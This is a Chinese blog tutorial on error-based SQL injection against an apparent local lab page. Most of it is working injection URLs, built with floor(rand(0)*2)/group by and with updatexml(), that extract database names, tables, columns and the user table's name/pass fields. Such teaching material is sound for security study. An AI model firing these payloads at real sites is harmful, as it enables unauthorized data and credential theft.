报错注入

简介: 报错注入

一、相关函数

1、rand():产生一个0-1之间随机数,rand(0),随机产生一个0-1的随机数,运行多次产生的结果一样

2、floor():向下取整,floor(rand()*2),随机产生0和1两个数

3、group by:分组排列

4、count(*):统计数量

0a2653c851af460fa595bd959398a8f1.png

5、concat():将字符串连接起来

二、通过floor()函数构造注入语句

1、访问http://192.168.0.104/aiyou/bczr.php?id=2,返回正常页面

0eacb84100b54626af849e6b562bf92a.png

2、访问http://192.168.0.104/aiyou/bczr.php?id=2',返回错误页面

2d65d23f6d4748949b924e4057485923.png

3、构造闭合语句,192.168.0.104/aiyou/bczr.php?id=2' --+,页面返回正常

4、获取数据库版本

192.168.0.104/aiyou/bczr.php?id=2' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(version()))x from information_schema.tables group by x )a) --+

2e9b90b2ca334476abebe75bafe6eeaa.png

5、获取数据库名称

192.168.0.104/aiyou/bczr.php?id=2' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,database(),0x23)x from information_schema.tables group by x )a) --+

6、获取其他数据库名称(修改红色数字,获取不同数据库名)

http://192.168.0.104/aiyou/bczr.php?id=2' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

7、获取表名(修改红色数字,获取不同表名)

http://192.168.0.104/aiyou/bczr.php?id=2' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

8、获取字段名,需要指定表名,表名用十六进制表示,修改红色数字获取不同字段

http://192.168.0.104/aiyou/bczr.php?id=2' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x75736572 LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

0a2653c851af460fa595bd959398a8f1.png

9、获取字段内容

http://192.168.0.104/aiyou/bczr.php?id=2' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,name,0x3a,pass,0x23) FROM user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

--+

0eacb84100b54626af849e6b562bf92a.png

三、通过updatexml函数构造注入语句

1、获取数据库名称(通过修改红色数字获取不同的数据库名称)

http://192.168.0.104/aiyou/bczr.php?id=2' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 5,1),1) -- +

2、获取表名(通过修改红色数字获取不同的表名)

http://192.168.0.104/aiyou/bczr.php?id=2' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='jay' limit 1,1),1) -- +

3、获取字段名(通过修改红色数字获取不同的字段)

http://192.168.0.104/aiyou/bczr.php?id=2' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x75736572 limit 1,1),1) -- +

4、获取字段内容(修改红色数字,获取不同字段内容)

http://192.168.0.104/aiyou/bczr.php?id=2' and updatexml(1,(select concat(0x7e, pass,0x7e,name,0x7e) from user limit 1,1),1) -- +

2d65d23f6d4748949b924e4057485923.png

禁止非法,后果自负

目录
相关文章
Word处理控件Spire.Doc常见问题解答
为方便使用者快速掌握和了解Spire.Doc,本文列举了Word处理控件Spire.Doc常见问题及解答欢迎下载体验!
|
SQL 数据库
[SUCTF 2019]EasySQL1
[SUCTF 2019]EasySQL1
|
SQL 数据库 数据安全/隐私保护
BUUCTF[极客大挑战 2019]EasySQL1
BUUCTF[极客大挑战 2019]EasySQL1
|
12月前
|
存储 物联网 数据处理
如何使用 Apache IoTDB UDF
【10月更文挑战第21天】使用 Apache IoTDB 的 UDF 可以为用户提供更大的灵活性和扩展性,帮助用户更好地处理和分析物联网数据。通过合理编写和使用 UDF,用户可以充分发挥 IoTDB 的潜力,实现更复杂、更高效的数据处理和分析任务。
263 2
thinkPhP6.0安装教程图解--PHP框架安装
本文是一篇关于ThinkPHP 6.0安装教程的图解,包括环境检查、安装Composer、修改Composer镜像地址、安装ThinkPHP框架以及启动运行ThinkPHP的步骤。文章详细描述了每个步骤的操作方法,并提供了相应的命令和截图,帮助用户理解并顺利完成ThinkPHP 6.0的安装和运行。
thinkPhP6.0安装教程图解--PHP框架安装
|
12月前
|
人工智能 自然语言处理 数据可视化
阿里云AI大模型助力客户对话分析——全方位提升服务与体验
随着数字化转型的推进,企业愈发重视客户互动数据的价值。阿里云推出了一套基于AI大模型的客户对话分析解决方案,通过自动化手段分析大量客户对话数据,提取有价值信息,优化服务流程,提升客户体验。本文将结合技术文档和实际体验,全面评测这一解决方案。
694 2
|
数据库 数据安全/隐私保护
BUUCTF---[极客大挑战 2019]LoveSQL1
BUUCTF---[极客大挑战 2019]LoveSQL1
|
机器学习/深度学习 自然语言处理 算法
【机器学习】朴素贝叶斯分类器的优点是什么?
【5月更文挑战第10天】【机器学习】朴素贝叶斯分类器的优点是什么?
|
运维 Kubernetes IDE
SpringCloud 应用在 Kubernetes 上的最佳实践 — 部署篇(开发部署)
本文将主要介绍如何将开发篇中提到的应用在云上跑起来。
6698 122
SpringCloud 应用在 Kubernetes 上的最佳实践 — 部署篇(开发部署)
下一篇
oss教程